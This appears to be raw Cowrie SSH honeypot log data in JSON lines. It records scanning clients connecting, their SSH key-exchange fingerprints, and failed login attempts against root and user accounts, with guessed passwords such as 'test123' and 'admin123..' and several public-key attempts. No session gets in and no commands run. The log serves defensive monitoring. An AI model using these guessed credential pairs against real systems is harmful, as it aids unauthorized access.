{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:12.222718Z","src_ip":"196.92.7.249","session":"655af969a02b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"test123","message":"login attempt [user/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:12.761111Z","src_ip":"196.92.7.249","session":"655af969a02b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:13.890580Z","src_ip":"196.92.7.249","session":"655af969a02b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.235.37.251","src_port":13242,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b46d36eaf1e","protocol":"ssh","message":"New connection: 68.235.37.251:13242 (10.17.0.5:22) [session: 8b46d36eaf1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:14.897627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:14.904557Z","src_ip":"68.235.37.251","session":"8b46d36eaf1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:14.943572Z","src_ip":"68.235.37.251","session":"8b46d36eaf1e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1c:be:41:b6:4f:77:ff:f4:37:43:bd:9c:e5:53:cc:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDeHAw1D97/9t02ZlMT+XixD65e89khyU/mOK4HO2iOhrFcwVa5gavQjA4u7OXSrkp8Mhb9oBy+JhrfZ3gWLbFTMpBOIlJ1lzLgfpii4kstUHW/VF2NM330IjNdBVbAdPK3Dc5fOuQbx446SlQhmj+SRLaPwh7iYi8iqUo/j00IhsWUSqxs79HHmXXRBB4cSr3v45KlPtgwk3tUrCb+elIAx4g09J+NCftYgvYTjbxZe8EJsMrxqj3q2kUaUL+0bkx+dNMFFJp+twRwkC8l1VtgXPao8esjWO0ArTu7TYcsgf5smIo4cMY+lME9AmcH+zXmzHsftejZyHT3GOSHdP95","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1c:be:41:b6:4f:77:ff:f4:37:43:bd:9c:e5:53:cc:6e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:15.076271Z","src_ip":"68.235.37.251","session":"8b46d36eaf1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1c:be:41:b6:4f:77:ff:f4:37:43:bd:9c:e5:53:cc:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDeHAw1D97/9t02ZlMT+XixD65e89khyU/mOK4HO2iOhrFcwVa5gavQjA4u7OXSrkp8Mhb9oBy+JhrfZ3gWLbFTMpBOIlJ1lzLgfpii4kstUHW/VF2NM330IjNdBVbAdPK3Dc5fOuQbx446SlQhmj+SRLaPwh7iYi8iqUo/j00IhsWUSqxs79HHmXXRBB4cSr3v45KlPtgwk3tUrCb+elIAx4g09J+NCftYgvYTjbxZe8EJsMrxqj3q2kUaUL+0bkx+dNMFFJp+twRwkC8l1VtgXPao8esjWO0ArTu7TYcsgf5smIo4cMY+lME9AmcH+zXmzHsftejZyHT3GOSHdP95","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:15.080447Z","src_ip":"68.235.37.251","session":"8b46d36eaf1e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d0:e5:0a:8c:6e:ee:98:9d:0a:dd:6e:99:82:3e:a1:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCRTf61NVILf89Qt7dwjoVR+vrY13UzZtGraWhk7ULXwCIyslj5PHQnLB3leoNzGWaE7V/W2CvEkCp1F0EgVPRuE1rhxSnIwL0dPlmB7rI73lNZSve8AsZLkFTFbYSEFXHWcAUCkRyoM+uja3HJMrirxSrPcsUy6purKMMRINmshpmJ3FuTvZC2wOrTBa9WCjIx3aF+2BTMMTvWvoAFW/e9KmgNg5/DLLz+WrE2ihr0chNK9W8UQ1RRtc3M5YsEFhb0TKR4Sd+XLUFasGyVlGXs08sQlasiFeckG5tOpGX0li2sjy4ct9dpzfsgQVeRnfOk0CZSk2BgoHTBZOD3OMMx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d0:e5:0a:8c:6e:ee:98:9d:0a:dd:6e:99:82:3e:a1:07","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:15.111724Z","src_ip":"68.235.37.251","session":"8b46d36eaf1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d0:e5:0a:8c:6e:ee:98:9d:0a:dd:6e:99:82:3e:a1:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCRTf61NVILf89Qt7dwjoVR+vrY13UzZtGraWhk7ULXwCIyslj5PHQnLB3leoNzGWaE7V/W2CvEkCp1F0EgVPRuE1rhxSnIwL0dPlmB7rI73lNZSve8AsZLkFTFbYSEFXHWcAUCkRyoM+uja3HJMrirxSrPcsUy6purKMMRINmshpmJ3FuTvZC2wOrTBa9WCjIx3aF+2BTMMTvWvoAFW/e9KmgNg5/DLLz+WrE2ihr0chNK9W8UQ1RRtc3M5YsEFhb0TKR4Sd+XLUFasGyVlGXs08sQlasiFeckG5tOpGX0li2sjy4ct9dpzfsgQVeRnfOk0CZSk2BgoHTBZOD3OMMx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:15.116602Z","src_ip":"68.235.37.251","session":"8b46d36eaf1e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"37:4c:46:01:4b:4d:4f:29:c8:26:e3:07:80:43:a5:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgrf4xVISStL3EM9wk6D9cmMK616UFAse+VvtxB3v5ru80/K+49kwNN9e/r2IueO4RMRhKBbJXOs6NRWH4XFT9wdQgk51l5Dc9C82vrL3n6rLUlZBnFOyOzFAGRkGY6EakgiaZxd+QpGrNskWiRx3RExR4lCCp6aRVxLIYrWAYy1wsPh/eaHPUSE80decUEgxbV/hc3QqPAthACLSQmAMcz+ohPCNr1F5OEjumFv5hBgaXtRfieFPNu/LQ09lcVKo1QUrtePkJfEFmvdgNzTUHl8nfFqI9UD9yWfu7MXujiuSS2n/KAoxpcvJ5Sne6EOhWZCpCCnVKWMNn5WBm1T41","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 37:4c:46:01:4b:4d:4f:29:c8:26:e3:07:80:43:a5:b7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:15.151235Z","src_ip":"68.235.37.251","session":"8b46d36eaf1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"37:4c:46:01:4b:4d:4f:29:c8:26:e3:07:80:43:a5:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgrf4xVISStL3EM9wk6D9cmMK616UFAse+VvtxB3v5ru80/K+49kwNN9e/r2IueO4RMRhKBbJXOs6NRWH4XFT9wdQgk51l5Dc9C82vrL3n6rLUlZBnFOyOzFAGRkGY6EakgiaZxd+QpGrNskWiRx3RExR4lCCp6aRVxLIYrWAYy1wsPh/eaHPUSE80decUEgxbV/hc3QqPAthACLSQmAMcz+ohPCNr1F5OEjumFv5hBgaXtRfieFPNu/LQ09lcVKo1QUrtePkJfEFmvdgNzTUHl8nfFqI9UD9yWfu7MXujiuSS2n/KAoxpcvJ5Sne6EOhWZCpCCnVKWMNn5WBm1T41","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:15.155252Z","src_ip":"68.235.37.251","session":"8b46d36eaf1e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"77:a3:82:e7:c4:5b:89:c0:59:f0:6e:52:66:5a:ac:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCJ2MdCjZdg1bIPFxmr/pdrht3merc/P5LminjLbgDQ70LCBkQ29K8rV+k0A0yg5mCPovX0PwAHHkFek9Z7WY1V3fPbmokO1Not+pSBv5J2gSjbPpiHGCJ6RNn6MuSeqON4ebzwJNnHyIGt4FHXd3qkgbgUkmtTrGmfAgk2MhYKIbnH4XpHGAhRFpuLtasL5Cw9ZZfbYEjYpFSg2QJ3KZNd+/GW/S2iiln2jnXhyZD6woEA6tEmmxlNtU1WMQYjrQ5cFUK1FfU5CXeENUJXocDv+3m1gHIZ940JhAJFzWXmslF+XnKpEB0EYQlJAYnvZEuyy861fSZDAyZanVKW3Z5B","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 77:a3:82:e7:c4:5b:89:c0:59:f0:6e:52:66:5a:ac:64","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:15.187338Z","src_ip":"68.235.37.251","session":"8b46d36eaf1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"77:a3:82:e7:c4:5b:89:c0:59:f0:6e:52:66:5a:ac:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCJ2MdCjZdg1bIPFxmr/pdrht3merc/P5LminjLbgDQ70LCBkQ29K8rV+k0A0yg5mCPovX0PwAHHkFek9Z7WY1V3fPbmokO1Not+pSBv5J2gSjbPpiHGCJ6RNn6MuSeqON4ebzwJNnHyIGt4FHXd3qkgbgUkmtTrGmfAgk2MhYKIbnH4XpHGAhRFpuLtasL5Cw9ZZfbYEjYpFSg2QJ3KZNd+/GW/S2iiln2jnXhyZD6woEA6tEmmxlNtU1WMQYjrQ5cFUK1FfU5CXeENUJXocDv+3m1gHIZ940JhAJFzWXmslF+XnKpEB0EYQlJAYnvZEuyy861fSZDAyZanVKW3Z5B","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:15.192290Z","src_ip":"68.235.37.251","session":"8b46d36eaf1e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"54:19:8d:a3:23:e1:3d:5e:d4:a5:e4:24:e0:e4:8b:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6QzHJR92eCYDKilQ72yo6hqb9UOWYQupsHaM6NEZnKAj5+LTs/j6Dmxfhd0JjuaJUndBApRypvZqIpUwaY8IQTdibcrV/tqOml4Vgq/qPy2/qj7isS0RRQ4usxJ4pCC4FsYzN0m8iItTV7/7B5uKmeuGV+33dQ5qKizxSQwo4M6+X66I/VWLN0l0Tfs9aJOQze1MRdbVAtpDOQRxA38E/KTw2Yx+URhiz8BGYbN4tIYmDNc4sB2rzz3KXiiHTWKwUElNLp9VMu3cYGN6ePhQ0neU2kmfc5kC7bm4a3KoVIx5EGYuDpPhLKPREi/mnhEYG7QGEn/Tyw4TCOafUvW5PQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 54:19:8d:a3:23:e1:3d:5e:d4:a5:e4:24:e0:e4:8b:ac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:15.227085Z","src_ip":"68.235.37.251","session":"8b46d36eaf1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"54:19:8d:a3:23:e1:3d:5e:d4:a5:e4:24:e0:e4:8b:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6QzHJR92eCYDKilQ72yo6hqb9UOWYQupsHaM6NEZnKAj5+LTs/j6Dmxfhd0JjuaJUndBApRypvZqIpUwaY8IQTdibcrV/tqOml4Vgq/qPy2/qj7isS0RRQ4usxJ4pCC4FsYzN0m8iItTV7/7B5uKmeuGV+33dQ5qKizxSQwo4M6+X66I/VWLN0l0Tfs9aJOQze1MRdbVAtpDOQRxA38E/KTw2Yx+URhiz8BGYbN4tIYmDNc4sB2rzz3KXiiHTWKwUElNLp9VMu3cYGN6ePhQ0neU2kmfc5kC7bm4a3KoVIx5EGYuDpPhLKPREi/mnhEYG7QGEn/Tyw4TCOafUvW5PQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:15.230909Z","src_ip":"68.235.37.251","session":"8b46d36eaf1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:15.276431Z","src_ip":"68.235.37.251","session":"8b46d36eaf1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":51226,"dst_ip":"159.203.135.109","dst_port":22,"session":"61034a37bcf0","protocol":"ssh","message":"New connection: 31.59.89.180:51226 (159.203.135.109:22) [session: 61034a37bcf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:22.780648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:22.785779Z","src_ip":"31.59.89.180","session":"61034a37bcf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:22.884083Z","src_ip":"31.59.89.180","session":"61034a37bcf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123..","message":"login attempt [root/admin123..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:23.305558Z","src_ip":"31.59.89.180","session":"61034a37bcf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:24.408043Z","src_ip":"31.59.89.180","session":"61034a37bcf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:24.508985Z","src_ip":"116.110.158.146","session":"7a4ed64fa8a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"164.90.156.35","src_port":51102,"dst_ip":"10.17.0.5","dst_port":22,"session":"9daccfa1dbcd","protocol":"ssh","message":"New connection: 164.90.156.35:51102 (10.17.0.5:22) [session: 9daccfa1dbcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:29.629167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:29.634006Z","src_ip":"164.90.156.35","session":"9daccfa1dbcd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:29.705818Z","src_ip":"164.90.156.35","session":"9daccfa1dbcd","protocol":"ssh"}
